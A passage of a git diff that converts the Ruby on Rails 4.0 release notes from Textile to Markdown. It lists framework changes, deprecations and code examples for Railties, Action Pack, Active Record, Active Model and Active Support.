+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. Then take heed of the following changes:
+
+### Rails 4.0 requires at least Ruby 1.9.3
+
+Rails 4.0 requires Ruby 1.9.3 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible.
+
+### What to update in your apps
+
+* Update your Gemfile to depend on
+ * `rails = 4.0.0`
+ * `sass-rails ~> 3.2.3`
+ * `coffee-rails ~> 3.2.1`
+ * `uglifier >= 1.0.3`
+
+TODO: Update the versions above.
+
+* Rails 4.0 removes `vendor/plugins` completely. You have to replace these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+TODO: Configuration changes in environment files
+
+Creating a Rails 4.0 application
+--------------------------------
+
+```
+ You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+Documentation
+-------------
+
+* Guides are rewritten in GitHub Flavored Markdown.
+
+Railties
+--------
+
+* Allow scaffold/model/migration generators to accept a `polymorphic` modifier for `references`/`belongs_to`, for instance
+
+ ```
+ rails g model Product supplier:references{polymorphic}
+ ```
+
+ will generate the model with `belongs_to :supplier, polymorphic: true` association and appropriate migration.
+
+* Set `config.active_record.migration_error` to `:page_load` for development.
+
+* Add runner to `Rails::Railtie` as a hook called just after runner starts.
+
+* Add `/rails/info/routes` path which displays the same information as `rake routes`.
+
+* Improved `rake routes` output for redirects.
+
+* Load all environments available in `config.paths["config/environments"]`.
+
+* Add `config.queue_consumer` to allow the default consumer to be configurable.
+
+* Add `Rails.queue` as an interface with a default implementation that consumes jobs in a separate thread.
+
+* Remove `Rack::SSL` in favour of `ActionDispatch::SSL`.
+
+* Allow to set class that will be used to run as a console, other than IRB, with `Rails.application.config.console=`. It's best to add it to console block.
+
+ ```ruby
+ # it can be added to config/application.rb
+ console do
+ # this block is called only when running console,
+ # so we can safely require pry here
+ require "pry"
+ config.console = Pry
+ end
+ ```
+
+* Add a convenience method `hide!` to Rails generators to hide the current generator namespace from showing when running `rails generate`.
+
+* Scaffold now uses `content_tag_for` in `index.html.erb`.
+
+* `Rails::Plugin` is removed. Instead of adding plugins to `vendor/plugins`, use gems or bundler with path or git dependencies.
+
+### Deprecations
+
+Action Mailer
+-------------
+
+* Allow to set default Action Mailer options via `config.action_mailer.default_options=`.
+
+* Raise an `ActionView::MissingTemplate` exception when no implicit template could be found.
+
+* Asynchronously send messages via the Rails Queue.
+
+* Delivery Options (such as SMTP Settings) can now be set dynamically per mailer action.
+
+ Delivery options are set via <tt>:delivery_method_options</tt> key on mail.
+
+ ```ruby
+ def welcome_mailer(user,company)
+ delivery_options = { user_name: company.smtp_user, password: company.smtp_password, address: company.smtp_host }
+ mail(to: user.email, subject: "Welcome!", delivery_method_options: delivery_options)
+ end
+ ```
+
+Action Pack
+-----------
+
+### Action Controller
+
+* Add `ActionController::Flash.add_flash_types` method to allow people to register their own flash types. e.g.:
+
+ ```ruby
+ class ApplicationController
+ add_flash_types :error, :warning
+ end
+ ```
+
+ If you add the above code, you can use `<%= error %>` in an erb, and `redirect_to /foo, :error => 'message'` in a controller.
+
+* Remove Active Model dependency from Action Pack.
+
+* Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping:
+
+ ```ruby
+ get Rack::Utils.escape('こんにちは') => 'home#index'
+ ```
+
+ You just have to write the unicode route:
+
+ ```ruby
+ get 'こんにちは' => 'home#index'
+ ```
+
+* Return proper format on exceptions.
+
+* Extracted redirect logic from `ActionController::ForceSSL::ClassMethods.force_ssl` into `ActionController::ForceSSL#force_ssl_redirect`.
+
+* URL path parameters with invalid encoding now raise `ActionController::BadRequest`.
+
+* Malformed query and request parameter hashes now raise `ActionController::BadRequest`.
+
+* `respond_to` and `respond_with` now raise `ActionController::UnknownFormat` instead of directly returning head 406. The exception is rescued and converted to 406 in the exception handling middleware.
+
+* JSONP now uses `application/javascript` instead of `application/json` as the MIME type.
+
+* Session arguments passed to process calls in functional tests are now merged into the existing session, whereas previously they would replace the existing session. This change may break some existing tests if they are asserting the exact contents of the session but should not break existing tests that only assert individual keys.
+
+* Forms of persisted records use always PATCH (via the `_method` hack).
+
+* For resources, both PATCH and PUT are routed to the `update` action.
+
+* Don't ignore `force_ssl` in development. This is a change of behavior - use an `:if` condition to recreate the old behavior.
+
+ ```ruby
+ class AccountsController < ApplicationController
+ force_ssl :if => :ssl_configured?
+
+ def ssl_configured?
+ !Rails.env.development?
+ end
+ end
+ ```
+
+#### Deprecations
+
+* Deprecated `ActionController::Integration` in favour of `ActionDispatch::Integration`.
+
+* Deprecated `ActionController::IntegrationTest` in favour of `ActionDispatch::IntegrationTest`.
+
+* Deprecated `ActionController::PerformanceTest` in favour of `ActionDispatch::PerformanceTest`.
+
+* Deprecated `ActionController::AbstractRequest` in favour of `ActionDispatch::Request`.
+
+* Deprecated `ActionController::Request` in favour of `ActionDispatch::Request`.
+
+* Deprecated `ActionController::AbstractResponse` in favour of `ActionDispatch::Response`.
+
+* Deprecated `ActionController::Response` in favour of `ActionDispatch::Response`.
+
+* Deprecated `ActionController::Routing` in favour of `ActionDispatch::Routing`.
+
+### Action Dispatch
+
+* Add Routing Concerns to declare common routes that can be reused inside others resources and routes.
+
+ Code before:
+
+ ```ruby
+ resources :messages do
+ resources :comments
+ end
+
+ resources :posts do
+ resources :comments
+ resources :images, only: :index
+ end
+ ```
+
+ Code after:
+
+ ```ruby
+ concern :commentable do
+ resources :comments
+ end
+
+ concern :image_attachable do
+ resources :images, only: :index
+ end
+
+ resources :messages, concerns: :commentable
+
+ resources :posts, concerns: [:commentable, :image_attachable]
+ ```
+
+* Show routes in exception page while debugging a `RoutingError` in development.
+
+* Include `mounted_helpers` (helpers for accessing mounted engines) in `ActionDispatch::IntegrationTest` by default.
+
+* Added `ActionDispatch::SSL` middleware that when included force all the requests to be under HTTPS protocol.
+
+* Copy literal route constraints to defaults so that url generation know about them. The copied constraints are `:protocol`, `:subdomain`, `:domain`, `:host` and `:port`.
+
+* Allows `assert_redirected_to` to match against a regular expression.
+
+* Adds a backtrace to the routing error page in development.
+
+* `assert_generates`, `assert_recognizes`, and `assert_routing` all raise `Assertion` instead of `RoutingError`.
+
+* Allows the route helper root to take a string argument. For example, `root 'pages#main'` as a shortcut for `root to: 'pages#main'`.
+
+* Adds support for the PATCH verb: Request objects respond to `patch?`. Routes now have a new `patch` method, and understand `:patch` in the existing places where a verb is configured, like `:via`. Functional tests have a new method `patch` and integration tests have a new method `patch_via_redirect`.
+If `:patch` is the default verb for updates, edits are tunneled as `PATCH` rather than as `PUT` and routing acts accordingly.
+
+* Integration tests support the OPTIONS method.
+
+* `expires_in` accepts a `must_revalidate` flag. If true, "must-revalidate" is added to the `Cache-Control` header.
+
+* Default responder will now always use your overridden block in `respond_with` to render your response.
+
+* Turn off verbose mode of `rack-cache`, we still have `X-Rack-Cache` to check that info.
+
+#### Deprecations
+
+### Action View
+
+* Remove Active Model dependency from Action Pack.
+
+* Allow to use `mounted_helpers` (helpers for accessing mounted engines) in `ActionView::TestCase`.
+
+* Make current object and counter (when it applies) variables accessible when rendering templates with `:object` or `:collection`.
+
+* Allow to lazy load `default_form_builder` by passing a string instead of a constant.
+
+* Add index method to `FormBuilder` class.
+
+* Adds support for layouts when rendering a partial with a given collection.
+
+* Remove `:disable_with` in favor of `data-disable-with` option from `submit_tag`, `button_tag` and `button_to` helpers.
+
+* Remove `:mouseover` option from `image_tag` helper.
+
+* Templates without a handler extension now raises a deprecation warning but still defaults to `ERb`. In future releases, it will simply return the template content.
+
+* Add a `divider` option to `grouped_options_for_select` to generate a separator optgroup automatically, and deprecate prompt as third argument, in favor of using an options hash.
+
+* Add `time_field` and `time_field_tag` helpers which render an `input[type="time"]` tag.
+
+* Removed old `text_helper` apis for `highlight`, `excerpt` and `word_wrap`.
+
+* Remove the leading \n added by textarea on `assert_select`.
+
+* Changed default value for `config.action_view.embed_authenticity_token_in_remote_forms` to false. This change breaks remote forms that need to work also without JavaScript, so if you need such behavior, you can either set it to true or explicitly pass `:authenticity_token => true` in form options.
+
+* Make possible to use a block in `button_to` helper if button text is hard to fit into the name parameter:
+
+ ```ruby
+ <%= button_to [:make_happy, @user] do %>
+ Make happy <strong><%= @user.name %></strong>
+ <% end %>
+ # => "<form method="post" action="/users/1/make_happy" class="button_to">
+ # <div>
+ # <button type="submit">
+ # Make happy <strong>Name</strong>
+ # </button>
+ # </div>
+ # </form>"
+ ```
+
+* Replace `include_seconds` boolean argument with `:include_seconds => true` option in `distance_of_time_in_words` and `time_ago_in_words` signature.
+
+* Remove `button_to_function` and `link_to_function` helpers.
+
+* `truncate` now always returns an escaped HTML-safe string. The option `:escape` can be used as `false` to not escape the result.
+
+* `truncate` now accepts a block to show extra content when the text is truncated.
+
+* Add `week_field`, `week_field_tag`, `month_field`, `month_field_tag`, `datetime_local_field`, `datetime_local_field_tag`, `datetime_field` and `datetime_field_tag` helpers.
+
+* Add `color_field` and `color_field_tag` helpers.
+
+* Add `include_hidden` option to select tag. With `:include_hidden => false` select with multiple attribute doesn't generate hidden input with blank value.
+
+* Removed default size option from the `text_field`, `search_field`, `telephone_field`, `url_field`, `email_field` helpers.
+
+* Removed default cols and rows options from the `text_area` helper.
+
+* Adds `image_url`, `javascript_url`, `stylesheet_url`, `audio_url`, `video_url`, and `font_url` to assets tag helper. These URL helpers will return the full path to your assets. This is useful when you are going to reference this asset from external host.
+
+* Allow `value_method` and `text_method` arguments from `collection_select` and `options_from_collection_for_select` to receive an object that responds to `:call` such as a proc, to evaluate the option in the current element context. This works the same way with `collection_radio_buttons` and `collection_check_boxes`.
+
+* Add `date_field` and `date_field_tag` helpers which render an `input[type="date"]` tag.
+
+* Add `collection_check_boxes` form helper, similar to `collection_select`:
+
+ ```ruby
+ collection_check_boxes :post, :author_ids, Author.all, :id, :name
+ # Outputs something like:
+ <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" />
+ <label for="post_author_ids_1">D. Heinemeier Hansson</label>
+ <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+ <label for="post_author_ids_2">D. Thomas</label>
+ <input name="post[author_ids][]" type="hidden" value="" />
+ ```
+
+ The label/check_box pairs can be customized with a block.
+
+* Add `collection_radio_buttons` form helper, similar to `collection_select`:
+
+ ```ruby
+ collection_radio_buttons :post, :author_id, Author.all, :id, :name
+ # Outputs something like:
+ <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" />
+ <label for="post_author_id_1">D. Heinemeier Hansson</label>
+ <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+ <label for="post_author_id_2">D. Thomas</label>
+ ```
+
+ The label/radio_button pairs can be customized with a block.
+
+* `check_box` with an HTML5 attribute `:form` will now replicate the `:form` attribute to the hidden field as well.
+
+* label form helper accepts `:for => nil` to not generate the attribute.
+
+* Add `:format` option to `number_to_percentage`.
+
+* Add `config.action_view.logger` to configure logger for `Action View`.
+
+* `check_box` helper with `:disabled => true` will generate a `disabled` hidden field to conform with the HTML convention where disabled fields are not submitted with the form. This is a behavior change, previously the hidden tag had a value of the disabled checkbox.
+
+* `favicon_link_tag` helper will now use the favicon in `app/assets` by default.
+
+* `ActionView::Helpers::TextHelper#highlight` now defaults to the HTML5 `mark` element.
+
+#### Deprecations
+
+### Sprockets
+
+Moved into a separate gem `sprockets-rails`.
+
+Active Record
+-------------
+
+* Add `add_reference` and `remove_reference` schema statements. Aliases, `add_belongs_to` and `remove_belongs_to` are acceptable. References are reversible.
+
+ ```ruby
+ # Create a user_id column
+ add_reference(:products, :user)
+
+ # Create a supplier_id, supplier_type columns and appropriate index
+ add_reference(:products, :supplier, polymorphic: true, index: true)
+
+ # Remove polymorphic reference
+ remove_reference(:products, :supplier, polymorphic: true)
+ ```
+
+* Add `:default` and `:null` options to `column_exists?`.
+
+ ```ruby
+ column_exists?(:testings, :taggable_id, :integer, null: false)
+ column_exists?(:testings, :taggable_type, :string, default: 'Photo')
+ ```
+
+* `ActiveRecord::Relation#inspect` now makes it clear that you are dealing with a `Relation` object rather than an array:
+
+ ```ruby
+ User.where(:age => 30).inspect
+ # => <ActiveRecord::Relation [#<User ...>, #<User ...>]>
+
+ User.where(:age => 30).to_a.inspect
+ # => [#<User ...>, #<User ...>]
+ ```
+
+ if more than 10 items are returned by the relation, inspect will only show the first 10 followed by ellipsis.
+
+* Add `:collation` and `:ctype` support to PostgreSQL. These are available for PostgreSQL 8.4 or later.
+
+ ```yaml
+ development:
+ adapter: postgresql
+ host: localhost
+ database: rails_development
+ username: foo
+ password: bar
+ encoding: UTF8
+ collation: ja_JP.UTF8
+ ctype: ja_JP.UTF8
+ ```
+
+* `FinderMethods#exists?` now returns `false` with the `false` argument.
+
+* Added support for specifying the precision of a timestamp in the postgresql adapter. So, instead of having to incorrectly specify the precision using the `:limit` option, you may use `:precision`, as intended. For example, in a migration:
+
+ ```ruby
+ def change
+ create_table :foobars do |t|
+ t.timestamps :precision => 0
+ end
+ end
+ ```
+
+* Allow `ActiveRecord::Relation#pluck` to accept multiple columns. Returns an array of arrays containing the typecasted values:
+
+ ```ruby
+ Person.pluck(:id, :name)
+ # SELECT people.id, people.name FROM people
+ # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+ ```
+
+* Improve the derivation of HABTM join table name to take account of nesting. It now takes the table names of the two models, sorts them lexically and then joins them, stripping any common prefix from the second table name. Some examples:
+
+ ```
+ Top level models (Category <=> Product)
+ Old: categories_products
+ New: categories_products
+
+ Top level models with a global table_name_prefix (Category <=> Product)
+ Old: site_categories_products
+ New: site_categories_products
+
+ Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product)
+ Old: categories_products
+ New: categories_products
+
+ Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product)
+ Old: categories_products
+ New: admin_categories_products
+
+ Nested models in a parent model (Catalog::Category <=> Catalog::Product)
+ Old: categories_products
+ New: catalog_categories_products
+
+ Nested models in different parent models (Catalog::Category <=> Content::Page)
+ Old: categories_pages
+ New: catalog_categories_content_pages
+ ```
+
+* Move HABTM validity checks to `ActiveRecord::Reflection`. One side effect of this is to move when the exceptions are raised from the point of declaration to when the association is built. This is consistant with other association validity checks.
+
+* Added `stored_attributes` hash which contains the attributes stored using `ActiveRecord::Store`. This allows you to retrieve the list of attributes you've defined.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ store :settings, accessors: [:color, :homepage]
+ end
+
+ User.stored_attributes[:settings] # [:color, :homepage]
+ ```
+
+* PostgreSQL default log level is now 'warning', to bypass the noisy notice messages. You can change the log level using the `min_messages` option available in your `config/database.yml`.
+
+* Add uuid datatype support to PostgreSQL adapter.
+
+* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending.
+
+* Added `#destroy!` which acts like `#destroy` but will raise an `ActiveRecord::RecordNotDestroyed` exception instead of returning `false`.
+
+* Allow blocks for count with `ActiveRecord::Relation`, to work similar as `Array#count`: `Person.where("age > 26").count { |person| person.gender == 'female' }`
+
+* Added support to `CollectionAssociation#delete` for passing fixnum or string values as record ids. This finds the records responding to the ids and deletes them.
+
+ ```ruby
+ class Person < ActiveRecord::Base
+ has_many :pets
+ end
+
+ person.pets.delete("1") # => [#<Pet id: 1>]
+ person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>]
+ ```
+
+* It's not possible anymore to destroy a model marked as read only.
+
+* Added ability to `ActiveRecord::Relation#from` to accept other `ActiveRecord::Relation` objects.
+
+* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this:
+
+ ```ruby
+ store :settings, accessors: [ :color, :homepage ], coder: JSON
+ ```
+
+* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in `config/database.yml`.
+
+* Added default order to `ActiveRecord::Base#first` to assure consistent results among diferent database engines. Introduced `ActiveRecord::Base#take` as a replacement to the old behavior.
+
+* Added an `:index` option to automatically create indexes for `references` and `belongs_to` statements in migrations. This can be either a boolean or a hash that is identical to options available to the `add_index` method:
+
+ ```ruby
+ create_table :messages do |t|
+ t.references :person, :index => true
+ end
+ ```
+
+ Is the same as:
+
+ ```ruby
+ create_table :messages do |t|
+ t.references :person
+ end
+ add_index :messages, :person_id
+ ```
+
+ Generators have also been updated to use the new syntax.
+
+* Added bang methods for mutating `ActiveRecord::Relation` objects. For example, while `foo.where(:bar)` will return a new object leaving foo unchanged, `foo.where!(:bar)` will mutate the foo object.
+
+* Added `#find_by` and `#find_by!` to mirror the functionality provided by dynamic finders in a way that allows dynamic input more easily:
+
+ ```ruby
+ Post.find_by name: 'Spartacus', rating: 4
+ Post.find_by "published_at < ?", 2.weeks.ago
+ Post.find_by! name: 'Spartacus'
+ ```
+
+* Added `ActiveRecord::Base#slice` to return a hash of the given methods with their names as keys and returned values as values.
+
+* Remove IdentityMap - IdentityMap has never graduated to be an "enabled-by-default" feature, due to some inconsistencies with associations, as described in this [commit](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). Hence the removal from the codebase, until such issues are fixed.
+
+* Added a feature to dump/load internal state of `SchemaCache` instance because we want to boot more quickly when we have many models.
+
+ ```ruby
+ # execute rake task.
+ RAILS_ENV=production bundle exec rake db:schema:cache:dump
+ => generate db/schema_cache.dump
+
+ # add config.use_schema_cache_dump = true in config/production.rb. BTW, true is default.
+
+ # boot rails.
+ RAILS_ENV=production bundle exec rails server
+ => use db/schema_cache.dump
+
+ # If you remove clear dumped cache, execute rake task.
+ RAILS_ENV=production bundle exec rake db:schema:cache:clear
+ => remove db/schema_cache.dump
+ ```
+
+* Added support for partial indices to `PostgreSQL` adapter.
+
+* The `add_index` method now supports a `where` option that receives a string with the partial index criteria.
+
+* Added the `ActiveRecord::NullRelation` class implementing the null object pattern for the Relation class.
+
+* Implemented `ActiveRecord::Relation#none` method which returns a chainable relation with zero records (an instance of the `NullRelation` class). Any subsequent condition chained to the returned relation will continue generating an empty relation and will not fire any query to the database.
+
+* Added `create_join_table` migration helper to create HABTM join tables.
+
+ ```ruby
+ create_join_table :products, :categories
+ # =>
+ # create_table :categories_products, :id => false do |td|
+ # td.integer :product_id, :null => false
+ # td.integer :category_id, :null => false
+ # end
+ ```
+
+* The primary key is always initialized in the `@attributes` hash to nil (unless another value has been specified).
+
+* In previous releases, the following would generate a single query with an OUTER JOIN comments, rather than two separate queries:
+
+ ```ruby
+ Post.includes(:comments).where("comments.name = 'foo'")
+ ```
+
+ This behaviour relies on matching SQL string, which is an inherently flawed idea unless we write an SQL parser, which we do not wish to do. Therefore, it is now deprecated.
+
+ To avoid deprecation warnings and for future compatibility, you must explicitly state which tables you reference, when using SQL snippets:
+
+ ```ruby
+ Post.includes(:comments).where("comments.name = 'foo'").references(:comments)
+ ```
+
+ Note that you do not need to explicitly specify references in the following cases, as they can be automatically inferred:
+
+ ```ruby
+ Post.where(comments: { name: 'foo' })
+ Post.where('comments.name' => 'foo')
+ Post.order('comments.name')
+ ```
+
+ You also do not need to worry about this unless you are doing eager loading. Basically, don't worry unless you see a deprecation warning or (in future releases) an SQL error due to a missing JOIN.
+
+* Support for the `schema_info` table has been dropped. Please switch to `schema_migrations`.
+
+* Connections *must* be closed at the end of a thread. If not, your connection pool can fill and an exception will be raised.
+
+* Added the `ActiveRecord::Model` module which can be included in a class as an alternative to inheriting from `ActiveRecord::Base`:
+
+ ```ruby
+ class Post
+ include ActiveRecord::Model
+ end
+ ```
+
+* PostgreSQL hstore records can be created.
+
+* PostgreSQL hstore types are automatically deserialized from the database.
+
+### Deprecations
+
+* Deprecated most of the 'dynamic finder' methods. All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's how you can rewrite the code:
+
+ ```ruby
+ find_all_by_... can be rewritten using where(...)
+ find_last_by_... can be rewritten using where(...).last
+ scoped_by_... can be rewritten using where(...)
+ find_or_initialize_by_... can be rewritten using where(...).first_or_initialize
+ find_or_create_by_... can be rewritten using where(...).first_or_create
+ find_or_create_by_...! can be rewritten using where(...).first_or_create!
+ ```
+
+ The implementation of the deprecated dynamic finders has been moved to the `active_record_deprecated_finders` gem.
+
+* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. For example this:
+
+ ```ruby
+ Post.find(:all, :conditions => { :comments_count => 10 }, :limit => 5)
+ ```
+
+ should be rewritten in the new style which has existed since Rails 3:
+
+ ```ruby
+ Post.where(comments_count: 10).limit(5)
+ ```
+
+ Note that as an interim step, it is possible to rewrite the above as:
+
+ ```ruby
+ Post.scoped(:where => { :comments_count => 10 }, :limit => 5)
+ ```
+
+ This could save you a lot of work if there is a lot of old-style finder usage in your application.
+
+ Calling `Post.scoped(options)` is a shortcut for `Post.scoped.merge(options)`. `Relation#merge` now accepts a hash of options, but they must be identical to the names of the equivalent finder method. These are mostly identical to the old-style finder option names, except in the following cases:
+
+ ```
+ :conditions becomes :where
+ :include becomes :includes
+ :extend becomes :extending
+ ```
+
+ The code to implement the deprecated features has been moved out to the `active_record_deprecated_finders` gem. This gem is a dependency of Active Record in Rails 4.0. It will no longer be a dependency from Rails 4.1, but if your app relies on the deprecated features then you can add it to your own Gemfile. It will be maintained by the Rails core team until Rails 5.0 is released.
+
+* Deprecate eager-evaluated scopes.
+
+ Don't use this:
+
+ ```ruby
+ scope :red, where(color: 'red')
+ default_scope where(color: 'red')
+ ```
+
+ Use this:
+
+ ```ruby
+ scope :red, -> { where(color: 'red') }
+ default_scope { where(color: 'red') }
+ ```
+
+ The former has numerous issues. It is a common newbie gotcha to do the following:
+
+ ```ruby
+ scope :recent, where(published_at: Time.now - 2.weeks)
+ ```
+
+ Or a more subtle variant:
+
+ ```ruby
+ scope :recent, -> { where(published_at: Time.now - 2.weeks) }
+ scope :recent_red, recent.where(color: 'red')
+ ```
+
+ Eager scopes are also very complex to implement within Active Record, and there are still bugs. For example, the following does not do what you expect:
+
+ ```ruby
+ scope :remove_conditions, except(:where)
+ where(...).remove_conditions # => still has conditions
+ ```
+
+* Added deprecation for the `:dependent => :restrict` association option.
+
+* Up until now `has_many` and `has_one, :dependent => :restrict` option raised a `DeleteRestrictionError` at the time of destroying the object. Instead, it will add an error on the model.
+
+* To fix this warning, make sure your code isn't relying on a `DeleteRestrictionError` and then add `config.active_record.dependent_restrict_raises = false` to your application config.
+
+* New rails application would be generated with the `config.active_record.dependent_restrict_raises = false` in the application config.
+
+* The migration generator now creates a join table with (commented) indexes every time the migration name contains the word "join_table".
+
+* `ActiveRecord::SessionStore` is removed from Rails 4.0 and is now a separate [gem](https://github.com/rails/activerecord-session_store).
+
+Active Model
+------------
+
+* Changed `AM::Serializers::JSON.include_root_in_json` default value to false. Now, AM Serializers and AR objects have the same default behaviour.
+
+ ```ruby
+ class User < ActiveRecord::Base; end
+
+ class Person
+ include ActiveModel::Model
+ include ActiveModel::AttributeMethods
+ include ActiveModel::Serializers::JSON
+
+ attr_accessor :name, :age
+
+ def attributes
+ instance_values
+ end
+ end
+
+ user.as_json
+ => {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true}
+ # root is not included
+
+ person.as_json
+ => {"name"=>"Francesco", "age"=>22}
+ # root is not included
+ ```
+
+* Passing false hash values to `validates` will no longer enable the corresponding validators.
+
+* `ConfirmationValidator` error messages will attach to `:#{attribute}_confirmation` instead of `attribute`.
+
+* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of the box.
+
+* `ActiveModel::Errors#to_json` supports a new parameter `:full_messages`.
+
+* Trims down the API by removing `valid?` and `errors.full_messages`.
+
+### Deprecations
+
+Active Resource
+---------------
+
+* Active Resource is removed from Rails 4.0 and is now a separate [gem](https://github.com/rails/activeresource).
+
+Active Support
+--------------
+
+* Add default values to all `ActiveSupport::NumberHelper` methods, to avoid errors with empty locales or missing values.
+
+* `Time#change` now works with time values with offsets other than UTC or the local time zone.
+
+* Add `Time#prev_quarter` and `Time#next_quarter` short-hands for `months_ago(3)` and `months_since(3)`.
+
+* Remove obsolete and unused `require_association` method from dependencies.
+
+* Add `:instance_accessor` option for `config_accessor`.
+
+ ```ruby
+ class User
+ include ActiveSupport::Configurable
+ config_accessor :allowed_access, instance_accessor: false
+ end
+
+ User.new.allowed_access = true # => NoMethodError
+ User.new.allowed_access # => NoMethodError
+ ```
+
+* `ActionView::Helpers::NumberHelper` methods have been moved to `ActiveSupport::NumberHelper` and are now available via `Numeric#to_s`.
+
+* `Numeric#to_s` now accepts the formatting options :phone, :currency, :percentage, :delimited, :rounded, :human, and :human_size.
+
+* Add `Hash#transform_keys`, `Hash#transform_keys!`, `Hash#deep_transform_keys` and `Hash#deep_transform_keys!`.
+
+* Changed xml type datetime to dateTime (with upper case letter T).
+
+* Add `:instance_accessor` option for `class_attribute`.
+
+* `constantize` now looks in the ancestor chain.
+
+* Add `Hash#deep_stringify_keys` and `Hash#deep_stringify_keys!` to convert all keys from a `Hash` instance into strings.
+
+* Add `Hash#deep_symbolize_keys` and `Hash#deep_symbolize_keys!` to convert all keys from a `Hash` instance into symbols.
+
+* `Object#try` can't call private methods.
+
+* AS::Callbacks#run_callbacks remove key argument.
+
+* `deep_dup` works more expectedly now and duplicates also values in `Hash` instances and elements in `Array` instances.
+
+* Inflector no longer applies ice -> ouse to words like slice, police.
+
+* Add `ActiveSupport::Deprecations.behavior = :silence` to completely ignore Rails runtime deprecations.
+
+* Make `Module#delegate` stop using send - can no longer delegate to private methods.
+
+* AS::Callbacks deprecate :rescuable option.
+
+* Adds `Integer#ordinal` to get the ordinal suffix string of an integer.
+
+* AS::Callbacks :per_key option is no longer supported.
+
+* AS::Callbacks#define_callbacks add :skip_after_callbacks_if_terminated option.
+
+* Add html_escape_once to ERB::Util, and delegate escape_once tag helper to it.
+
+* Remove `ActiveSupport::TestCase#pending` method, use `skip` instead.
+
+* Deletes the compatibility method `Module#method_names`, use `Module#methods` from now on (which returns symbols).
+
+* Deletes the compatibility method `Module#instance_method_names`, use `Module#instance_methods` from now on (which returns symbols).
+
+* Unicode database updated to 6.1.0.
+
+* Adds `encode_big_decimal_as_string` option to force JSON serialization of BigDecimals as numeric instead of wrapping them in strings for safety.
+
+### Deprecations
+
+* `ActiveSupport::Callbacks`: deprecate usage of filter object with `#before` and `#after` methods as `around` callback.
+
+* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger` or the `logger` from Ruby stdlib.
+
+* Deprecates the compatibility method `Module#local_constant_names` and use `Module#local_constants` instead (which returns symbols).
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
diff --git a/guides/source/4_0_release_notes.textile b/guides/source/4_0_release_notes.textile
deleted file mode 100644
index 2f21f8cc71..0000000000
--- a/guides/source/4_0_release_notes.textile
+++ /dev/null
@@ -1,857 +0,0 @@
-h2. Ruby on Rails 4.0 Release Notes
-
-Highlights in Rails 4.0:
-
-These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-endprologue.
-
-h3. Upgrading to Rails 4.0
-
-TODO. This is a WIP guide.
-
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. Then take heed of the following changes:
-
-h4. Rails 4.0 requires at least Ruby 1.9.3
-
-Rails 4.0 requires Ruby 1.9.3 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible.
-
-h4. What to update in your apps
-
-* Update your Gemfile to depend on
-** <tt>rails = 4.0.0</tt>
-** <tt>sass-rails ~> 3.2.3</tt>
-** <tt>coffee-rails ~> 3.2.1</tt>
-** <tt>uglifier >= 1.0.3</tt>
-
-TODO: Update the versions above.
-
-* Rails 4.0 removes <tt>vendor/plugins</tt> completely. You have to replace these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
-
-TODO: Configuration changes in environment files
-
-h3. Creating a Rails 4.0 application
-
-<shell>
-# You should have the 'rails' rubygem installed
-$ rails new myapp
-$ cd myapp
-</shell>
-
-h4. Vendoring Gems
-
-Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-
-More information: "Bundler homepage":http://gembundler.com
-
-h4. Living on the Edge
-
-+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
-
-<shell>
-$ rails new myapp --edge
-</shell>
-
